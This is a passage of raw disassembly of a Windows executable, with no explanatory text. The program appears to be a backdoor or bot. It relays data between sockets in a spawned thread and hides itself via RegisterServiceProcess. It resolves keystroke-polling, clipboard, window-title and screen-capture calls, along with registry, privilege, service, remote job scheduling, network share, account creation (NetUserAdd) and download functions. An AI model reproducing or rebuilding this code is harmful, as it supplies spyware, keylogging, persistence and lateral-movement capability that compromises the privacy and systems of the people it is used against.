		call	sub_412030
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_431F10
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4066DF
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch


loc_406582:				; CODE XREF: sub_4063A1+184j
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	ds:dword_431E90
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_431ED0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4065B9
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_431F14
		jmp	short loc_4065C7
; ---------------------------------------------------------------------------


loc_4065B9:				; CODE XREF: seg000:004065A8j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_431E48


loc_4065C7:				; CODE XREF: seg000:004065B7j
		cmp	eax, edi
		jz	loc_4066DF
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	ds:dword_431E38
		cmp	eax, 0FFFFFFFFh
		jz	loc_4066DF
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42177C
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_41140F
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43702C[ebx]
		mov	ds:dword_437024[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_437030[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_406710
		push	edi
		push	edi
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_437034[ecx], eax
		jz	short loc_4066CC


loc_406679:				; CODE XREF: seg000:00406686j
		cmp	[ebp-20h], edi
		jnz	short loc_406688
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_406679
; ---------------------------------------------------------------------------


loc_406688:				; CODE XREF: seg000:0040667Cj
		mov	ebx, 1000h


loc_40668D:				; CODE XREF: seg000:004066C8j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_431EA8
		cmp	eax, edi
		jle	short loc_4066DF
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40668D
		jmp	short loc_4066DF
; ---------------------------------------------------------------------------


loc_4066CC:				; CODE XREF: seg000:00406677j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_421728
		call	sub_408D72
		pop	ecx
		pop	ecx


loc_4066DF:				; CODE XREF: seg000:0040656Dj
					; seg000:004065C9j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	ds:dword_43702C[eax]
		call	ds:dword_431F28
		push	dword ptr [ebp+8]
		call	ds:dword_431F28
		push	dword ptr [ebp-4]
		call	sub_41172B
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx


loc_406710:				; DATA XREF: seg000:00406659o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_412030
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_406747:				; CODE XREF: seg000:0040678Cj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_437030[esi]
		call	ds:dword_431EA8
		test	eax, eax
		jle	short loc_40678E
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_43702C[esi]
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406747


loc_40678E:				; CODE XREF: seg000:00406771j
		push	ds:dword_437030[esi]
		call	ds:dword_431F28
		push	dword ptr [ebp-14h]
		call	sub_41172B
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h, 56h, 98h
		dd 5FF80066h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_4067AD	proc near		; CODE XREF: seg000:00409A12p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41D0AC
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_41D0AC
		mov	esi, ds:dword_41D0A8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4068CD
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_431F3C, eax
		call	esi ; dword_41D0A8
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_431EB0, eax
		call	esi ; dword_41D0A8
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_431E94, eax
		call	esi ; dword_41D0A8
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_431DB0, eax
		call	esi ; dword_41D0A8
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_431D5C, eax
		call	esi ; dword_41D0A8
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_431D8C, eax
		call	esi ; dword_41D0A8
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_431E00, eax
		call	esi ; dword_41D0A8
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_431EF0, eax
		call	esi ; dword_41D0A8
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_431F4C, eax
		call	esi ; dword_41D0A8
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_431DBC, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431F3C, ebx
		mov	ds:dword_431DA4, eax
		jz	short loc_4068AB
		cmp	ds:dword_431EB0, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431E94, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431DB0, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431D8C, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431E00, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431EF0, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431F4C, ebx
		jz	short loc_4068AB
		cmp	ds:dword_431DBC, ebx
		jz	short loc_4068AB
		cmp	eax, ebx
		jnz	short loc_4068B5


loc_4068AB:				; CODE XREF: sub_4067AD+B8j
					; sub_4067AD+C0j ...
		mov	ds:dword_431F50, 1


loc_4068B5:				; CODE XREF: sub_4067AD+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_41D0A8
		cmp	eax, ebx
		mov	ds:dword_431EC8, eax
		jz	short loc_4068E2
		push	1
		push	ebx
		call	eax
		jmp	short loc_4068E2
; ---------------------------------------------------------------------------


loc_4068CD:				; CODE XREF: sub_4067AD+1Dj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F54, eax
		mov	ds:dword_431F50, 1


loc_4068E2:				; CODE XREF: sub_4067AD+117j
					; sub_4067AD+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41D0A4	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4069F7
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_431EEC, eax
		call	esi ; dword_41D0A8
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_431E9C, eax
		call	esi ; dword_41D0A8
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_431E30, eax
		call	esi ; dword_41D0A8
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_431F40, eax
		call	esi ; dword_41D0A8
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_431E60, eax
		call	esi ; dword_41D0A8
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_431E80, eax
		call	esi ; dword_41D0A8
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_431EE4, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431EEC, ebx
		mov	ds:dword_431DD8, eax
		jz	short loc_40699B
		cmp	ds:dword_431E9C, ebx
		jz	short loc_40699B
		cmp	ds:dword_431E30, ebx
		jz	short loc_40699B
		cmp	ds:dword_431F40, ebx
		jz	short loc_40699B
		cmp	ds:dword_431E60, ebx
		jz	short loc_40699B
		cmp	ds:dword_431E80, ebx
		jz	short loc_40699B
		cmp	ds:dword_431EE4, ebx
		jz	short loc_40699B
		cmp	eax, ebx
		jnz	short loc_4069A5


loc_40699B:				; CODE XREF: sub_4067AD+1B8j
					; sub_4067AD+1C0j ...
		mov	ds:dword_431F58, 1


loc_4069A5:				; CODE XREF: sub_4067AD+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_431E5C, eax
		call	esi ; dword_41D0A8
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_431D70, eax
		call	esi ; dword_41D0A8
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_431E2C, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E5C, ebx
		mov	ds:dword_431E18, eax
		jz	short loc_406A02
		cmp	ds:dword_431D70, ebx
		jz	short loc_406A02
		cmp	ds:dword_431E2C, ebx
		jz	short loc_406A02
		cmp	eax, ebx
		jnz	short loc_406A0C
		jmp	short loc_406A02
; ---------------------------------------------------------------------------


loc_4069F7:				; CODE XREF: sub_4067AD+144j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F5C, eax


loc_406A02:				; CODE XREF: sub_4067AD+232j
					; sub_4067AD+23Aj ...
		mov	ds:dword_431F58, 1


loc_406A0C:				; CODE XREF: sub_4067AD+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_41D0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406BA7
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_431F00, eax
		call	esi ; dword_41D0A8
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_431E44, eax
		call	esi ; dword_41D0A8
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_431EB4, eax
		call	esi ; dword_41D0A8
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_431D9C, eax
		call	esi ; dword_41D0A8
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_431DFC, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431F00, ebx
		mov	ds:dword_431E6C, eax
		jz	short loc_406A97
		cmp	ds:dword_431E44, ebx
		jz	short loc_406A97
		cmp	ds:dword_431EB4, ebx
		jz	short loc_406A97
		cmp	ds:dword_431D9C, ebx
		jz	short loc_406A97
		cmp	ds:dword_431DFC, ebx
		jz	short loc_406A97
		cmp	eax, ebx
		jnz	short loc_406AA1


loc_406A97:				; CODE XREF: sub_4067AD+2C4j
					; sub_4067AD+2CCj ...
		mov	ds:dword_431F60, 1


loc_406AA1:				; CODE XREF: sub_4067AD+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_431E74, eax
		call	esi ; dword_41D0A8
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_431E4C, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E74, ebx
		mov	ds:dword_431EFC, eax
		jz	short loc_406ADC
		cmp	ds:dword_431E4C, ebx
		jz	short loc_406ADC
		cmp	eax, ebx
		jnz	short loc_406AE6


loc_406ADC:				; CODE XREF: sub_4067AD+321j
					; sub_4067AD+329j
		mov	ds:dword_431F60, 1


loc_406AE6:				; CODE XREF: sub_4067AD+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_431E84, eax
		call	esi ; dword_41D0A8
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_431D78, eax
		call	esi ; dword_41D0A8
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_431D80, eax
		call	esi ; dword_41D0A8
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_431DE0, eax
		call	esi ; dword_41D0A8
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_431DE4, eax
		call	esi ; dword_41D0A8
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_431D94, eax
		call	esi ; dword_41D0A8
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_431E50, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E84, ebx
		mov	ds:dword_431D84, eax
		jz	short loc_406B8A
		cmp	ds:dword_431D78, ebx
		jz	short loc_406B8A
		cmp	ds:dword_431D80, ebx
		jz	short loc_406B8A
		cmp	ds:dword_431DE0, ebx
		jz	short loc_406B8A
		cmp	ds:dword_431DE4, ebx
		jz	short loc_406B8A
		cmp	ds:dword_431D94, ebx
		jz	short loc_406B8A
		cmp	ds:dword_431E50, ebx
		jz	short loc_406B8A
		cmp	eax, ebx
		jnz	short loc_406B94


loc_406B8A:				; CODE XREF: sub_4067AD+3A7j
					; sub_4067AD+3AFj ...
		mov	ds:dword_431F60, 1


loc_406B94:				; CODE XREF: sub_4067AD+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_41D0A8
		cmp	eax, ebx
		mov	ds:dword_431D7C, eax
		jnz	short loc_406BBC
		jmp	short loc_406BB2
; ---------------------------------------------------------------------------


loc_406BA7:				; CODE XREF: sub_4067AD+26Aj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F64, eax


loc_406BB2:				; CODE XREF: sub_4067AD+3F8j
		mov	ds:dword_431F60, 1


loc_406BBC:				; CODE XREF: sub_4067AD+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_41D0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406C88
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_431E7C, eax
		call	esi ; dword_41D0A8
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_431ED4, eax
		call	esi ; dword_41D0A8
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_431EDC, eax
		call	esi ; dword_41D0A8
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_431E98, eax
		call	esi ; dword_41D0A8
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_431DC0, eax
		call	esi ; dword_41D0A8
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_431D6C, eax
		call	esi ; dword_41D0A8
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_431ED8, eax
		call	esi ; dword_41D0A8
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_431D58, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E7C, ebx
		mov	ds:dword_431DF4, eax
		jz	short loc_406C93
		cmp	ds:dword_431ED4, ebx
		jz	short loc_406C93
		cmp	ds:dword_431EDC, ebx
		jz	short loc_406C93
		cmp	ds:dword_431E98, ebx
		jz	short loc_406C93
		cmp	ds:dword_431DC0, ebx
		jz	short loc_406C93
		cmp	ds:dword_431D6C, ebx
		jz	short loc_406C93
		cmp	ds:dword_431ED8, ebx
		jz	short loc_406C93
		cmp	ds:dword_431D58, ebx
		jz	short loc_406C93
		cmp	eax, ebx
		jnz	short loc_406C9D
		jmp	short loc_406C93
; ---------------------------------------------------------------------------


loc_406C88:				; CODE XREF: sub_4067AD+41Aj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F6C, eax


loc_406C93:				; CODE XREF: sub_4067AD+49Bj
					; sub_4067AD+4A3j ...
		mov	ds:dword_431F68, 1


loc_406C9D:				; CODE XREF: sub_4067AD+4D7j
		mov	ebp, ds:dword_41D0A4
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406F59
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_431E08, eax
		call	esi ; dword_41D0A8
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_431F34, eax
		call	esi ; dword_41D0A8
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_431DAC, eax
		call	esi ; dword_41D0A8
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_431D88, eax
		call	esi ; dword_41D0A8
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_431E3C, eax
		call	esi ; dword_41D0A8
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_431E24, eax
		call	esi ; dword_41D0A8
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_431DF0, eax
		call	esi ; dword_41D0A8
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_431F10, eax
		call	esi ; dword_41D0A8
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_431F2C, eax
		call	esi ; dword_41D0A8
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_431E38, eax
		call	esi ; dword_41D0A8
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_431F1C, eax
		call	esi ; dword_41D0A8
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_431ED0, eax
		call	esi ; dword_41D0A8
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_431E90, eax
		call	esi ; dword_41D0A8
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_431E8C, eax
		call	esi ; dword_41D0A8
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_431DCC, eax
		call	esi ; dword_41D0A8
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_431DC4, eax
		call	esi ; dword_41D0A8
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_431EE0, eax
		call	esi ; dword_41D0A8
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_431EF4, eax
		call	esi ; dword_41D0A8
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_431EA8, eax
		call	esi ; dword_41D0A8
		mov	ds:dword_431E68, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_431EBC, eax
		call	esi ; dword_41D0A8
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_431E78, eax
		call	esi ; dword_41D0A8
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_431EB8, eax
		call	esi ; dword_41D0A8
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_431F24, eax
		call	esi ; dword_41D0A8
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_431E70, eax
		call	esi ; dword_41D0A8
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_431E34, eax
		call	esi ; dword_41D0A8
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_431EA4, eax
		call	esi ; dword_41D0A8
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_431F14, eax
		call	esi ; dword_41D0A8
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_431E48, eax
		call	esi ; dword_41D0A8
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_431DEC, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E08, ebx
		mov	ds:dword_431F28, eax
		jz	loc_406F64
		cmp	ds:dword_431F34, ebx
		jz	loc_406F64
		cmp	ds:dword_431DAC, ebx
		jz	loc_406F64
		cmp	ds:dword_431E3C, ebx
		jz	loc_406F64
		cmp	ds:dword_431E24, ebx
		jz	loc_406F64
		cmp	ds:dword_431DF0, ebx
		jz	loc_406F64
		cmp	ds:dword_431F10, ebx
		jz	loc_406F64
		cmp	ds:dword_431F2C, ebx
		jz	loc_406F64
		cmp	ds:dword_431E38, ebx
		jz	loc_406F64
		cmp	ds:dword_431F1C, ebx
		jz	loc_406F64
		cmp	ds:dword_431ED0, ebx
		jz	loc_406F64
		cmp	ds:dword_431E90, ebx
		jz	loc_406F64
		cmp	ds:dword_431E8C, ebx
		jz	loc_406F64
		cmp	ds:dword_431DCC, ebx
		jz	short loc_406F64
		cmp	ds:dword_431EE0, ebx
		jz	short loc_406F64
		cmp	ds:dword_431EF4, ebx
		jz	short loc_406F64
		cmp	ds:dword_431EA8, ebx
		jz	short loc_406F64
		cmp	ds:dword_431E68, ebx
		jz	short loc_406F64
		cmp	ds:dword_431EBC, ebx
		jz	short loc_406F64
		cmp	ds:dword_431E78, ebx
		jz	short loc_406F64
		cmp	ds:dword_431EB8, ebx
		jz	short loc_406F64
		cmp	ds:dword_431F24, ebx
		jz	short loc_406F64
		cmp	ds:dword_431E70, ebx
		jz	short loc_406F64
		cmp	ds:dword_431E34, ebx
		jz	short loc_406F64
		cmp	ds:dword_431EA4, ebx
		jz	short loc_406F64
		cmp	ds:dword_431F14, ebx
		jz	short loc_406F64
		cmp	ds:dword_431E48, ebx
		jz	short loc_406F64
		cmp	eax, ebx
		jnz	short loc_406F6E
		jmp	short loc_406F64
; ---------------------------------------------------------------------------


loc_406F59:				; CODE XREF: sub_4067AD+501j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F74, eax


loc_406F64:				; CODE XREF: sub_4067AD+6A0j
					; sub_4067AD+6ACj ...
		mov	ds:dword_431F70, 1


loc_406F6E:				; CODE XREF: sub_4067AD+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407073
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_431DD4, eax
		call	esi ; dword_41D0A8
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_431D60, eax
		call	esi ; dword_41D0A8
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_431E58, eax
		call	esi ; dword_41D0A8
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_431E0C, eax
		call	esi ; dword_41D0A8
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_431E64, eax
		call	esi ; dword_41D0A8
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_431E28, eax
		call	esi ; dword_41D0A8
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_431DA0, eax
		call	esi ; dword_41D0A8
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_431D98, eax
		call	esi ; dword_41D0A8
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_431DA8, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431DD4, ebx
		mov	ecx, ds:dword_431E28
		mov	ds:dword_431EC4, eax
		jz	short loc_40704F
		cmp	ds:dword_431D60, ebx
		jz	short loc_40704F
		cmp	ds:dword_431E58, ebx
		jz	short loc_40704F
		cmp	ds:dword_431E0C, ebx
		jz	short loc_40704F
		cmp	ds:dword_431E64, ebx
		jz	short loc_40704F
		cmp	ecx, ebx
		jz	short loc_40704F
		cmp	ds:dword_431DA0, ebx
		jz	short loc_40704F
		cmp	ds:dword_431D98, ebx
		jz	short loc_40704F
		cmp	ds:dword_431DA8, ebx
		jz	short loc_40704F
		cmp	eax, ebx
		jnz	short loc_407059


loc_40704F:				; CODE XREF: sub_4067AD+860j
					; sub_4067AD+868j ...
		mov	ds:dword_431F78, 1


loc_407059:				; CODE XREF: sub_4067AD+8A0j
		cmp	ecx, ebx
		jz	short loc_40708E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_431E28
		cmp	eax, ebx
		mov	ds:dword_431E40, eax
		jnz	short loc_40708E
		jmp	short loc_407088
; ---------------------------------------------------------------------------


loc_407073:				; CODE XREF: sub_4067AD+7CCj
		call	ds:dword_41D060	; RtlGetLastWin32Error


loc_407079:				; DATA XREF: seg002:0041FBB0o
					; seg002:0041FBC4o ...
		mov	ds:dword_431F7C, eax
		mov	ds:dword_431F78, 1


loc_407088:				; CODE XREF: sub_4067AD+8C4j
		mov	ds:dword_431E40, ebx


loc_40708E:				; CODE XREF: sub_4067AD+8AEj
					; sub_4067AD+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4070D8
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_431E1C, eax
		call	esi ; dword_41D0A8
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_431F48, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E1C, ebx
		mov	ds:dword_431DB4, eax
		jz	short loc_4070E3
		cmp	ds:dword_431F48, ebx
		jz	short loc_4070E3
		cmp	eax, ebx
		jnz	short loc_4070ED
		jmp	short loc_4070E3
; ---------------------------------------------------------------------------


loc_4070D8:				; CODE XREF: sub_4067AD+8ECj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F84, eax


loc_4070E3:				; CODE XREF: sub_4067AD+91Bj
					; sub_4067AD+923j ...
		mov	ds:dword_431F80, 1


loc_4070ED:				; CODE XREF: sub_4067AD+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4071E3
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_431D90, eax
		call	esi ; dword_41D0A8
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_431D68, eax
		call	esi ; dword_41D0A8
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_431DDC, eax
		call	esi ; dword_41D0A8
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_431E10, eax
		call	esi ; dword_41D0A8
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_431F20, eax
		call	esi ; dword_41D0A8
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_431DC8, eax
		call	esi ; dword_41D0A8
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_431D74, eax
		call	esi ; dword_41D0A8
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_431D64, eax
		call	esi ; dword_41D0A8
		push	offset aNetusergetinfo ; "NetUserGetInfo"
